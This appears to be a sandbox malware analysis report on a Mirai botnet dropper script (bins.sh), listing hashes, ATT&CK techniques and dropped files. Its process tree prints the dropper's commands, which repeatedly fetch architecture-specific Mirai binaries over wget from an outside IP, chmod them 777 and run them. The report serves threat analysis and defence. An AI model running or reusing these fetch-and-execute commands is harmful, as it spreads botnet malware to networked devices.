mirai | dd47b5f7dda2ade9c11ef05158d62d5d5f63bc909cfce42a03008f7e1b1928ff

Analysis

max time kernel
148s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20250619-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
05/11/2025, 04:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 910B
Sample251105-e7wxrsslhk
SHA256 dd47b5f7dda2ade9c11ef05158d62d5d5f63bc909cfce42a03008f7e1b1928ff
MD5 70301f60cfa959142e2d21c4538330cd
SHA1 1559bd551946945a3cafcdb5f3761edef8b194d2
SHA512 7c49014e7c5aa9487c022488e9da3d843e7a8f7f2da93d3810349122791561d0c03af121c32f766ca5bbcc73c59149e6d3abe424464e2b593e16378f4862a9f0
MD5 SHA1 SHA512

Score

10^/10

botnet mirai defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (4008) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 23 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1509	chmod
1514	chmod
1550	chmod
1558	chmod
1566	chmod
1570	chmod
1578	chmod
1586	chmod
1518	chmod
1522	chmod
1530	chmod
1546	chmod
1574	chmod
1590	chmod
1594	chmod
1598	chmod
1526	chmod
1538	chmod
1554	chmod
1562	chmod
1582	chmod
1602	chmod
1542	chmod

Deletes itself 2 IoCs

pid	Process
1531	bins.sh
1603	bins.sh

Executes dropped EXE 23 IoCs

ioc	pid	Process
/tmp/dvrHelper	1510	bins.sh
/tmp/dvrHelper	1515	bins.sh
/tmp/dvrHelper	1519	bins.sh
/tmp/dvrHelper	1523	bins.sh
/tmp/dvrHelper	1527	bins.sh
/tmp/dvrHelper	1531	bins.sh
/tmp/dvrHelper	1539	bins.sh
/tmp/dvrHelper	1543	bins.sh
/tmp/dvrHelper	1547	bins.sh
/tmp/dvrHelper	1551	bins.sh
/tmp/dvrHelper	1555	bins.sh
/tmp/dvrHelper	1559	bins.sh
/tmp/dvrHelper	1563	bins.sh
/tmp/dvrHelper	1567	bins.sh
/tmp/dvrHelper	1571	bins.sh
/tmp/dvrHelper	1575	bins.sh
/tmp/dvrHelper	1579	bins.sh
/tmp/dvrHelper	1583	bins.sh
/tmp/dvrHelper	1587	bins.sh
/tmp/dvrHelper	1591	bins.sh
/tmp/dvrHelper	1595	bins.sh
/tmp/dvrHelper	1599	bins.sh
/tmp/dvrHelper	1603	bins.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	bins.sh
File opened for modification	/dev/misc/watchdog	bins.sh

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	bins.sh

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 2 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1531	bins.sh
Changes the process name, possibly in an attempt to hide itself	1603	bins.sh

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	bins.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1007/exe	bins.sh
File opened for reading	/proc/1296/exe	bins.sh
File opened for reading	/proc/473/fd	bins.sh
File opened for reading	/proc/1020/fd	bins.sh
File opened for reading	/proc/1163/exe	bins.sh
File opened for reading	/proc/1534/exe	bins.sh
File opened for reading	/proc/1045/fd	bins.sh
File opened for reading	/proc/1206/fd	bins.sh
File opened for reading	/proc/979/exe	bins.sh
File opened for reading	/proc/988/exe	bins.sh
File opened for reading	/proc/1057/exe	bins.sh
File opened for reading	/proc/1147/exe	bins.sh
File opened for reading	/proc/328/fd	bins.sh
File opened for reading	/proc/442/fd	bins.sh
File opened for reading	/proc/965/fd	bins.sh
File opened for reading	/proc/1078/fd	bins.sh
File opened for reading	/proc/655/exe	bins.sh
File opened for reading	/proc/429/fd	bins.sh
File opened for reading	/proc/465/fd	bins.sh
File opened for reading	/proc/653/fd	bins.sh
File opened for reading	/proc/1012/fd	bins.sh
File opened for reading	/proc/932/exe	bins.sh
File opened for reading	/proc/1016/exe	bins.sh
File opened for reading	/proc/1048/exe	bins.sh
File opened for reading	/proc/913/fd	bins.sh
File opened for reading	/proc/975/fd	bins.sh
File opened for reading	/proc/988/fd	bins.sh
File opened for reading	/proc/465/exe	bins.sh
File opened for reading	/proc/658/exe	bins.sh
File opened for reading	/proc/951/exe	bins.sh
File opened for reading	/proc/1365/exe	bins.sh
File opened for reading	/proc/1501/exe	bins.sh
File opened for reading	/proc/441/exe	bins.sh
File opened for reading	/proc/601/fd	bins.sh
File opened for reading	/proc/711/fd	bins.sh
File opened for reading	/proc/899/fd	bins.sh
File opened for reading	/proc/1506/fd	bins.sh
File opened for reading	/proc/1037/exe	bins.sh
File opened for reading	/proc/1043/exe	bins.sh
File opened for reading	/proc/1499/exe	bins.sh
File opened for reading	/proc/636/fd	bins.sh
File opened for reading	/proc/1080/fd	bins.sh
File opened for reading	/proc/1163/fd	bins.sh
File opened for reading	/proc/1239/exe	bins.sh
File opened for reading	/proc/461/fd	bins.sh
File opened for reading	/proc/600/fd	bins.sh
File opened for reading	/proc/1178/fd	bins.sh
File opened for reading	/proc/1304/fd	bins.sh
File opened for reading	/proc/491/exe	bins.sh
File opened for reading	/proc/1033/exe	bins.sh
File opened for reading	/proc/1502/exe	bins.sh
File opened for reading	/proc/1506/exe	bins.sh
File opened for reading	/proc/501/fd	bins.sh
File opened for reading	/proc/429/exe	bins.sh
File opened for reading	/proc/1043/fd	bins.sh
File opened for reading	/proc/1473/fd	bins.sh
File opened for reading	/proc/581/exe	bins.sh
File opened for reading	/proc/965/exe	bins.sh
File opened for reading	/proc/1206/exe	bins.sh
File opened for reading	/proc/1234/exe	bins.sh
File opened for reading	/proc/505/exe	bins.sh
File opened for reading	/proc/527/exe	bins.sh
File opened for reading	/proc/528/exe	bins.sh
File opened for reading	/proc/1473/exe	bins.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1545	wget
1569	wget

Writes file to tmp directory 23 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Deletes itself
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1504
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.arm5n -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1510
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.armv7a -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1515
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.m68k -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.mpsl -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.sh4 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.x86 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.arm5n -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.armv7a -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1543
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.mips -O dvrHelper
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.ppc -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1551
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.spc -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1555
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.arm -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1557
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1559
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.arm7 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1561
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1563
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.gnueabihf -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1567
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.mips -O dvrHelper
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1569
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1571
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.ppc -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1573
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1575
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.spc -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1579
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.arm -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1581
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1582
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1583
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.arm7 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1587
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.m68k -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1589
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1590
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1591
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.mpsl -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1593
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1594
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1595
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.sh4 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1597
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1598
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:1599
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.x86 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:1601
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /bin/rm
  rm ./bins.sh
  2⤵
  PID:1605
- /bin/rm
  rm ./dvrHelper
  2⤵
  PID:1607

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dvrHelper

Path /tmp/dvrHelper
Size 52KB
SHA256 be5cdd7fa8e206af1675707eb9ca01385a883c969017db9f9fa36b3ec0f90b7b
MD5 c26a90f7fde605221345b15eb8b034ba
SHA1 c70de717b295a38c5bc1c41703b7789f1190cf07
SHA512 f5bc6b6e128b8a3469f43ca0c270b1975c8efd8b56f7347228c99a1867ec718d018879fe04a967855c8f1b37461007b20f1c3886f9b908a18c790d3bbb077658
SSDEEP 1536:t1AzmE7Ok0uBsWiPRD+aAb76rL2yBCNt5sw8Q:vAzmE6k0vgkvkbsw8Q
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 389KB
SHA256 1e4a4619afecc3f53f118f7cd0fbf07038563dfa879eeb0335ac84f980c08a5a
MD5 f95b9cc6b617c818b5604cb4db27ff55
SHA1 28d0be63b693b547184bf28a098998c6e03a714f
SHA512 b23024792d5e58cc03c25c7994ab25640c760770cde84e19cec8bdec5a19254cff6d2750f30bb992f6c15250cdb8561317e5d326d31c8134e6b0e086a0e8758a
SSDEEP 12288:iMv3JZdjsLC4ADMtk3tvHQTBwBT8prZB9:jvl2GVpHM
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 58KB
SHA256 11a9bb6be3b240551ac877e8295bd8e2d037e24037c652026b180095a874c014
MD5 abd623c4ae976460f2211978b1c9da3f
SHA1 f0596a304b5a4511c6f1713f0efe9627719747b8
SHA512 efd956365c9048dd1f69fd867f1c46035a4d7bc2ff73803df7a3e5d339f5944c043ba49ef87f9f8fa627d921b9965587f1c3b0202d2fbc9b355b124262213d07
SSDEEP 1536:TKgor9Y1msaRM5PA+6X6aCkBnKSQDVFQFM8L:R6sEM5YXfLNmF2N
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 78KB
SHA256 4f3de52ed263ee374741fc38bb64cc08c7bba38e59333c251eebc5b691c6255c
MD5 13f4b0a28b1e5b08bdac6bedcd0acd57
SHA1 8d900eef06b80428c84566ab2e29221518777bfc
SHA512 94589ecb9a08e75cb1c3df2ba5bb10fde83069583be2f53ee2024bbc09e08c6e61f5c08dc1c9a0f7af7eedd6514e23872194b8185e9985d0f5d294d527318e2d
SSDEEP 1536:JEGFfut1WjhZRcogB2UHqsZMDuPSwtOA3B:J7Ffut14hLgB2U/O
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 53KB
SHA256 e632c1dee6c9f187f36e633ac3db7a0f3db30a936129c04ebaa7e5b074631b51
MD5 5765ec5b75582f635dac7317ee895158
SHA1 376a24db08e59f54c9bd2c04a5cf83360346b325
SHA512 ce9295a3ea79451e2dd22dd2486ba527c1b2b3cd5769649ca3e968afb2c80927452453d0c11342ff3c2100c001ad883765c3d7c92d710387a7e63eaaee88d89e
SSDEEP 1536:DoaN/rpY6ODwtAVCo0s1P9qIGDS6owCc:Do4jnkLCsF6ow
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 389KB
SHA256 0afd92a80f897f53fac6413dbeebbc800844e34c8fbbd7c335deb8ca4758fa6e
MD5 bb64d8823df3b570f44e165301d562a2
SHA1 12279d02fe4c82c35a506adc5cae2898a3948628
SHA512 6254ed3f3652e88eca6b136e4baf4253e7f88070db7f116fb51ee99a5cb35a5b78d465f30e5e79c4651360b3d33983e9c749603df701c0de30cfcf042c3080a0
SSDEEP 12288:60HTa+UNeLLOZghK3jrPRmcvjI8prZR7:60HTabZjPPv
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads